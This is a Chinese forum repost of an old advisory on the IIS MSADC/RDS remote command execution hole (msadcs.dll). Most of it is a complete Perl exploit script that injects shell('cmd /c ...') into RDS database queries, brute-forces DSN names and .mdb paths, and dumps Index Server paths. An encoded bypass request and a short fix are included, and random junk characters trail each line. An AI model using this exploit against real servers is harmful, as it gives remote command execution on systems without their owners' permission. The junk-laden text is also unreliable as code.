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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) "Pc}-&  
(0@b4}Z  
涉及程序: I>8_gp\1  
Microsoft NT server D<70rBf2  
n"?*"Ya  
描述: U `lp56  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 B W)@.!C  
jcC"vr'u|  
详细: )M8,Tv*~  
如果你没有时间读详细内容的话,就删除: %4R1rUrgt|  
c:\Program Files\Common Files\System\Msadc\msadcs.dll id,' +<  
有关的安全问题就没有了。 C`ZU.|R  
jBEW("4R  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 o]I8Ghk>/z  
Z6b]EcP)#  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 D\;5{,:d  
关于利用ODBC远程漏洞的描述,请参看: }x#e.}hf&  
JS03B Itt  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm XlXt,  
J>M9t%f@  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 fJNK@F  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp leF!Uog  
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这里不再论述。 hKg +A  
IPn!iv)  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: r?~_^  
K#6@sas  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset "([gN:   
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! "1\GU1x  
]>Dbta.2 7  
Q e/XEW  
#将下面这段保存为txt文件,然后: "perl -x 文件名" +P 9eE,WR  
{\k }:)  
#!perl B&7:=t,m(  
# w)&4i$Lk6  
# MSADC/RDS 'usage' (aka exploit) script eU)QoVt  
# G]$EIf'  
# by rain.forest.puppy UvU@3[fw  
# $v_&j E  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me yIr0D 6L  
# beta test and find errors! ePq(.o  
2&pE  
use Socket; use Getopt::Std; }l}_'FmQ  
getopts("e:vd:h:XR", \%args); TC2%n\GH*  
y5KeUMcu  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; LRaO}-<b  
{ 2Ew^Li  
if (!defined $args{h} && !defined $args{R}) { <5Ll<0  
print qq~ s1sn,?  
Usage: msadc.pl -h <host> { -d <delay> -X -v } `gC J[  
-h <host> = host you want to scan (ip or domain) `t9k!y!GV  
-d <seconds> = delay between calls, default 1 second E`xpZ>$mPx  
-X = dump Index Server path table, if available a* }>yad  
-v = verbose qnQ".  
-e = external dictionary file for step 5 y8C8~-&OK  
i`<L#6RBT  
Or a -R will resume a command session *:+ZEFMq  
_u;pD-  
~; exit;} R'vNJDFY  
!?).4yr  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; J"S(GL  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} wKpb%3  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} "1XTgCu\  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); )/[L)-~y~  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} } 7:T? `V:  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } j[mII5e7g  
0Ntvd7"`}  
if (!defined $args{R}){ $ret = &has_msadc; l1`r%9gr  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} ^7i7yM}6(  
h {zb)'R  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" $;$vcV9*  
. "cmd /c "; jAcKSx$}y"  
$in=<STDIN>; chomp $in; Q`.q,T8I  
$command="cmd /c " . $in ; 1M_Vhs^  
yJ ]Va $M  
if (defined $args{R}) {&load; exit;} x![.C,O  
V )UtU L  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; 3b#L*-  
&try_btcustmr; aO(iKlZ$  
t,r:= '  
print "\nStep 2: Trying to make our own DSN..."; z Fj|E  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; q7_Ttjn-DV  
/s+IstW  
print "\nStep 3: Trying known DSNs..."; O&y`:#  
&known_dsn; ;/pI@C k  
VpB)5>  
print "\nStep 4: Trying known .mdbs..."; KXl!VD,#`=  
&known_mdb; TF!v,cX  
]9 _}S  
if (defined $args{e}){ IC8%E3  
print "\nStep 5: Trying dictionary of DSN names..."; ,~1sZ`C  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } yZm=#.f  
5}w   
print "Sorry Charley...maybe next time?\n"; f52P1V]  
exit; f9},d1k  
OAiv3"p  
############################################################################## |& jrU-(  
C4gES"T  
sub sendraw { # ripped and modded from whisker 34"PtWbV>  
sleep($delay); # it's a DoS on the server! At least on mine...  .9r85  
my ($pstr)=@_; %{3q=9ii  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || qP&:9eL  
die("Socket problems\n"); B/;'D7i|S  
if(connect(S,pack "SnA4x8",2,80,$target)){ $%'3w~h`  
select(S); $|=1; 9;\mq'v%  
print $pstr; my @in=<S>; wD$UShnm9-  
select(STDOUT); close(S); E8R;S}P A  
return @in; S-3hLw&?  
} else { die("Can't connect...\n"); }} )[M:#;,L  
":s_ O.  
############################################################################## 1ZRkVHiz0  
q &{<HcP  
sub make_header { # make the HTTP request cPAR.h,b?  
my $msadc=<<EOT ZvT>A#R;l~  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 Px*<-t|R-  
User-Agent: ACTIVEDATA djw\%00&#  
Host: $ip |Ox='.oIb  
Content-Length: $clen xYW &Mfka  
Connection: Keep-Alive Y.tT#J^=  
zA.0Sm  
ADCClientVersion:01.06 Q[q`)~|  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 T*=*$%  
nSBhz  
--!ADM!ROX!YOUR!WORLD! &dK !+  
Content-Type: application/x-varg 6@8z3JW.A  
Content-Length: $reqlen 79d(UG'O  
XpE847!soL  
EOT WK7?~R%rq  
; $msadc=~s/\n/\r\n/g; 7OG:G z+)x  
return $msadc;} g3{UP]Z71  
5U+4vV/*  
############################################################################## kcg\f@d$  
tk=S4 /VWv  
sub make_req { # make the RDS request d}ycC.h4k  
my ($switch, $p1, $p2)=@_; ~Fwbi  
my $req=""; my $t1, $t2, $query, $dsn; ~7*2Jp'  
&(32s!qH  
if ($switch==1){ # this is the btcustmr.mdb query -MTYtw(  
$query="Select * from Customers where City=" . make_shell(); K r|.I2?"  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . ^[Ka+E^Q  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} Vq{3:QBR  
$6D* G-*8  
elsif ($switch==2){ # this is general make table query NV9JMB{q  
$query="create table AZZ (B int, C varchar(10))"; K5XW&|tY!  
$dsn="$p1";} Av5:/c.B  
x{<l8vL=-c  
elsif ($switch==3){ # this is general exploit table query E!mv}  
$query="select * from AZZ where C=" . make_shell(); w7Y@wa!  
$dsn="$p1";} 02*qf:kTnA  
Ov?J"B'F  
elsif ($switch==4){ # attempt to hork file info from index server IOuqC.RJ}o  
$query="select path from scope()"; +Y~5197V  
$dsn="Provider=MSIDXS;";} kL0K[O  
|vGHhzZ|  
elsif ($switch==5){ # bad query Pgy[\t2K  
$query="select"; {Y Y,{H  
$dsn="$p1";} E0&d*BI2  
qz (x  
$t1= make_unicode($query); :|niFK4  
$t2= make_unicode($dsn); nQ_{IO8/6W  
$req = "\x02\x00\x03\x00"; 3z2 OW@zL$  
$req.= "\x08\x00" . pack ("S1", length($t1)); 6(4d3}F  
$req.= "\x00\x00" . $t1 ; *x;4::'Jn  
$req.= "\x08\x00" . pack ("S1", length($t2)); :N$-SV  
$req.= "\x00\x00" . $t2 ; v}V[sIs}  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; nM b@  B  
return $req;} u Z-ZZE C  
 <9yh:1"X  
############################################################################## kV5)3%?  
p:Lmf8EI  
sub make_shell { # this makes the shell() statement m}=E$zPbO  
return "'|shell(\"$command\")|'";} "UNFB3  
9jEH"`qqk  
############################################################################## L*A-&9.p3  
0*rD'?)K+  
sub make_unicode { # quick little function to convert to unicode b"N!#&O]  
my ($in)=@_; my $out; ]SRpMZ  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } A0k?$ko  
return $out;} ]- `wXi"  
^ W?cuJ8  
############################################################################## q^EY?;Y  
DmLx"%H3  
sub rdo_success { # checks for RDO return success (this is kludge) |3@DCb T  
my (@in) = @_; my $base=content_start(@in); 9_O4 yTL  
if($in[$base]=~/multipart\/mixed/){ A!x&,<  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} a6e{bAuq  
return 0;} bSX/)')jU  
m Jk\$/Kh  
############################################################################## OVe0{} j  
DyGls8<\!  
sub make_dsn { # this makes a DSN for us B#SVN Lv  
my @drives=("c","d","e","f"); (A6~mi r!  
print "\nMaking DSN: "; z^Ikb(KC  
foreach $drive (@drives) { ozRTY9S _;  
print "$drive: "; Z CPUNtOl  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . fTvm2+.nX  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" {o)pwM"@(  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); ^9q#,6  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; g;8 wP5i  
return 0 if $2 eq "404"; # not found/doesn't exist Em@:Qm EN  
if($2 eq "200") { 9iZio3m  
foreach $line (@results) { W_Y8)KxG:L  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} :Q3pP"H,}  
} return 0;} H%>4z3n   
y@!o&,,mq  
############################################################################## g)#{<#*2  
G,|!&=Pe|E  
sub verify_exists { }>0>OqvF  
my ($page)=@_; 6xJffl  
my @results=sendraw("GET $page HTTP/1.0\n\n"); \?^2}K/  
return $results[0];} sEdz`F  
vb6EO[e% I  
############################################################################## V1V0T ,  
{a:05Y  
sub try_btcustmr { TI< x;p  
my @drives=("c","d","e","f"); Q,xL8i M,  
my @dirs=("winnt","winnt35","winnt351","win","windows"); l_+@Xpl  
d)Yl D]I  
foreach $dir (@dirs) { 3 J04 $cD  
print "$dir -> "; # fun status so you can see progress 71c[ `h*0{  
foreach $drive (@drives) { \{lv~I  
print "$drive: "; # ditto iT4*~(p 3  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; bhpku=ov  
$reqlenlen=length( "$reqlen" ); U-u?oU-.'  
$clen= 206 + $reqlenlen + $reqlen; gtA34iw  
SE]5cJ'>  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); UlE%\L0GD&  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} EaO@I.[  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} =xI'|%  
 V>'  
############################################################################## +hmFFQQ}  
@9gZH_ur>E  
sub odbc_error { LJ(WU)CPc  
my (@in)=@_; my $base; = (F   
my $base = content_start(@in); "lL+Heq>V  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this -y+>^45  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; x 6`!  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; "+"=iwEAz  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; l:!L+t*}6  
return $in[$base+4].$in[$base+5].$in[$base+6];} w!7\wI[  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; Y7VO:o  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . 1jl !VU6  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} E6A"Xo  
`S@TiD*  
############################################################################## )O~[4xV~  
.z`70ot?  
sub verbose { GrL{q;IO  
my ($in)=@_; ^QRg9s,T<  
return if !$verbose; |:=o\eu&  
print STDOUT "\n$in\n";} -[V-f> :  
GlAI~\A  
############################################################################## p?:5 U[KM  
5:h[%3'bB  
sub save { Nujnm$!,Q  
my ($p1, $p2, $p3, $p4)=@_; e{P v:jl  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; WKEb '^  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; LmF,en5  
close OUT;} \beO5]KS<  
/9w>:i81  
############################################################################## !LI<%P)  
)#}>,,S  
sub load { RwWg:4   
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; "#j}F u_!  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); _95296  
@p=<IN>; close(IN); DYD<?._I  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);  .w9LJ  
$target= inet_aton($ip) || die("inet_aton problems"); ^"/^)Lb!@M  
print "Resuming to $ip ..."; &N|$G8\CY  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; Ic#xz;elM  
if($p[1]==1) { JQ&t"`\k  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; u]J@65~'b  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; *x"80UXL  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); #.bW9j/  
if (rdo_success(@results)){print "Success!\n";} $"^K~5Q  
else { print "failed\n"; verbose(odbc_error(@results));}} qos7u91z  
elsif ($p[1]==3){ u*l|MIi6J  
if(run_query("$p[3]")){ p~qe/  
print "Success!\n";} else { print "failed\n"; }} Z'JS@dV  
elsif ($p[1]==4){ hArY$T&MB  
if(run_query($drvst . "$p[3]")){ 9oWU]A\k>  
print "Success!\n"; } else { print "failed\n"; }} !+T1kMP+l  
exit;} 9)q3cjP{<  
5AYOM=O]t  
############################################################################## Wy}I"q[~So  
<\aeC2~M  
sub create_table { i q(PC3e`V  
my ($in)=@_; 'pdTV:]zA  
$reqlen=length( make_req(2,$in,"") ) - 28; @X2*O9  
$reqlenlen=length( "$reqlen" ); |p11Jt[  
$clen= 206 + $reqlenlen + $reqlen; {*ak>Wud  
my @results=sendraw(make_header() . make_req(2,$in,"")); $cCC 1=dW  
return 1 if rdo_success(@results); [. 5m}V  
my $temp= odbc_error(@results); verbose($temp); T # \  
return 1 if $temp=~/Table 'AZZ' already exists/; ~&?bU]F  
return 0;} x*Lt]]A  
+&Ld` d!n  
############################################################################## tgK I  
}htjT/Nm  
sub known_dsn { 0lfK} a  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go >H2`4]4]  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", vT'Bs;QR  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", Aw o)a8e  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); (yOkf-e2y  
~C.*Vc?|  
foreach $dSn (@dsns) { 0+1wi4wy/  
print "."; rl*O-S/  
next if (!is_access("DSN=$dSn")); Ifj&S'():  
if(create_table("DSN=$dSn")){ O !L`0 =%c  
print "$dSn successful\n"; VM"cpC_8  
if(run_query("DSN=$dSn")){ *eVq(R9?T  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 'X`Z1L/  
print "Something's borked. Use verbose next time\n";}}} print "\n";} )ZJvx%@i  
&SY!qTxF  
############################################################################## p\6cpf  
aV3:{oL  
sub is_access { -Mt 5< s  
my ($in)=@_; Y?VbgOM)  
$reqlen=length( make_req(5,$in,"") ) - 28; {f!/:bM  
$reqlenlen=length( "$reqlen" ); l\HdB"nT  
$clen= 206 + $reqlenlen + $reqlen; aER|5!7(2\  
my @results=sendraw(make_header() . make_req(5,$in,"")); mP(3[a_Q  
my $temp= odbc_error(@results); Nk`UQ~g$  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); BT$p~XB  
return 0;} n/H OP  
\{,TpK.  
############################################################################## H"P b)t  
XH:*J+$O  
sub run_query { IUcL*  
my ($in)=@_; Y Y:Bw W:  
$reqlen=length( make_req(3,$in,"") ) - 28; Zo9<96I&  
$reqlenlen=length( "$reqlen" ); JE?p'77C  
$clen= 206 + $reqlenlen + $reqlen; ])x1MmRg\  
my @results=sendraw(make_header() . make_req(3,$in,"")); 092t6D}  
return 1 if rdo_success(@results);  R$a<=  
my $temp= odbc_error(@results); verbose($temp); EP;/[O  
return 0;} WeI+|V$  
DHidI\*gT  
############################################################################## (JhX:1  
c}x1-d8  
sub known_mdb { YdY-Jg Xm  
my @drives=("c","d","e","f","g"); ^S9y7b^;r  
my @dirs=("winnt","winnt35","winnt351","win","windows"); R`?l .0  
my $dir, $drive, $mdb; E*_^+ %  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; ));#oQol9  
+8=$-E=  
# this is sparse, because I don't know of many g;IlS*Ld  
my @sysmdbs=( "\\catroot\\icatalog.mdb", T) C@6/  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", da{]B5p\  
"\\system32\\certmdb.mdb", $EMOz=)I#  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% 0P^h6Vat  
R;& >PFmq  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", 8#I>`z^F  
"\\cfusion\\cfapps\\forums\\forums_.mdb", G4&s_ M$  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", DA =U=F  
"\\cfusion\\cfapps\\security\\realm_.mdb", prBLNZp  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", 0ju1>.p  
"\\cfusion\\database\\cfexamples.mdb", SGd]o"VF  
"\\cfusion\\database\\cfsnippets.mdb", ZS Med(//b  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", <O x[![SR  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", e5h*GKF  
"\\cfusion\\brighttiger\\database\\cleam.mdb", .u`[|: K  
"\\cfusion\\database\\smpolicy.mdb", N!A20Bv  
"\\cfusion\\database\cypress.mdb", tiK?VwaKI  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", }fpya2Xt  
"\\website\\cgi-win\\dbsample.mdb", fGgt[f[  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", #%"q0"  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" 4 p_C+4  
); #these are just MatXhP] Fi  
foreach $drive (@drives) { (iIw }f)w  
foreach $dir (@dirs){ bP,<^zA|X  
foreach $mdb (@sysmdbs) { 'Pz%c}hJ  
print "."; ]AP1+ &9fN  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ JFq wC=-  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; Pg4&}bX:I  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ Er~17$b  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; C \ Cc[v  
} else { print "Something's borked. Use verbose next time\n"; }}}}} e_BG%+;G,  
Urj*V0^  
foreach $drive (@drives) { C3AWXO ^  
foreach $mdb (@mdbs) { C2LPLquD+  
print "."; ~PQ.l\C  
if(create_table($drv . $drive . $dir . $mdb)){  K +7  
print "\n" . $drive . $dir . $mdb . " successful\n"; H/8^Fvd  
if(run_query($drv . $drive . $dir . $mdb)){ N&8TG  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; ?M2(8 0  
} else { print "Something's borked. Use verbose next time\n"; }}}} WxdQ^#AE  
} )cf i@-J+#  
g14*6O:  
############################################################################## 1I Yip\:lS  
Pms@!yce  
sub hork_idx { w$gvgz  
print "\nAttempting to dump Index Server tables...\n"; R^Rc!G}  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; p< R:[rz  
$reqlen=length( make_req(4,"","") ) - 28; fBO/0uW  
$reqlenlen=length( "$reqlen" ); 95;{ms[  
$clen= 206 + $reqlenlen + $reqlen; [ X*p [  
my @results=sendraw2(make_header() . make_req(4,"","")); ~KK 9aV{  
if (rdo_success(@results)){ c0Ug5Vr  
my $max=@results; my $c; my %d; gW, [X(  
for($c=19; $c<$max; $c++){  a+h$u  
$results[$c]=~s/\x00//g; 5'lVh/  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; K/4@ 2vF  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; dzcF1 5H1  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; ;!yK~OBxt  
$d{"$1$2"}="";} CjdM*#9lW  
foreach $c (keys %d){ print "$c\n"; }  CB7dr&>  
} else {print "Index server doesn't seem to be installed.\n"; }} =j]y?;7q  
:}Jx  
############################################################################## {N(qS'N  
8K8u|]i  
sub dsn_dict { "EW8ll7r  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); uf(ayDE  
while(<IN>){ GR,2^]<{  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; $+gQnI3w  
next if (!is_access("DSN=$dSn")); 6fwNlC/9  
if(create_table("DSN=$dSn")){ 01bCP  
print "$dSn successful\n"; {sTf4S\S  
if(run_query("DSN=$dSn")){ n}p G&&;q  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { NW|B|kc  
print "Something's borked. Use verbose next time\n";}}}  <,.$U\W  
print "\n"; close(IN);} D(cD8fn,J  
b#2)"V(  
############################################################################## uLms0r\@!  
pDQ f(@M[  
sub sendraw2 { # ripped and modded from whisker _S!^=9bJ  
sleep($delay); # it's a DoS on the server! At least on mine... !0 7jr%-~  
my ($pstr)=@_; 5C w( 4.  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || p^l#Wq5  
die("Socket problems\n"); uH_KOiF  
if(connect(S,pack "SnA4x8",2,80,$target)){ dg D-"-O  
print "Connected. Getting data"; mY|c7}>V;  
open(OUT,">raw.out"); my @in; Q+CJd>B  
select(S); $|=1; print $pstr; ; :e7Z^\/k  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} [V}vd@*k  
close(OUT); select(STDOUT); close(S); return @in; ^0,}y]5p  
} else { die("Can't connect...\n"); }} aRd~T6I  
o'Bd. B  
############################################################################## 6:1`lsP  
,%i Scr,z  
sub content_start { # this will take in the server headers s|YH_1r  
my (@in)=@_; my $c; h y rPu_  
for ($c=1;$c<500;$c++) { 0 _!0\d#c  
if($in[$c] =~/^\x0d\x0a/){ uJ`N'`Z  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } M-WSdG[AJ  
else { return $c+1; }}} NP>v @jO  
return -1;} # it should never get here actually SH*'<  
AXw qN:P}  
############################################################################## 7:`XE&Z  
s5,@=(,  
sub funky { HOW<IZ^  
my (@in)=@_; my $error=odbc_error(@in); Za.}bR6?Y  
if($error=~/ADO could not find the specified provider/){ [d`Jw/4n  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; #83   
exit;} @kXuC<  
if($error=~/A Handler is required/){ LpHGt]|D  
print "\nServer has custom handler filters (they most likely are patched)\n"; #1YMpL  
exit;} Km2~nkQ  
if($error=~/specified Handler has denied Access/){ =^"Sx??V  
print "\nServer has custom handler filters (they most likely are patched)\n"; o:8ns m  
exit;}} *h^->+0n  
'afW'w@  
############################################################################## m:_#kfC&K"  
MmJMx  
sub has_msadc { 3Vu}D(PJ  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); UMcM&yu-  
my $base=content_start(@results); 3s\UU2yr  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); ] 0i[=  
return 0;} L03I:IJ  
%<i sdvF  
######################## b:1B >  
01Jav~WR  
>N3X/8KL%  
解决方案: $G=^cNB|JB  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll C&O8fNB_  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 ``xm##K  
^C gg1e1  
拿出来充数 哈哈
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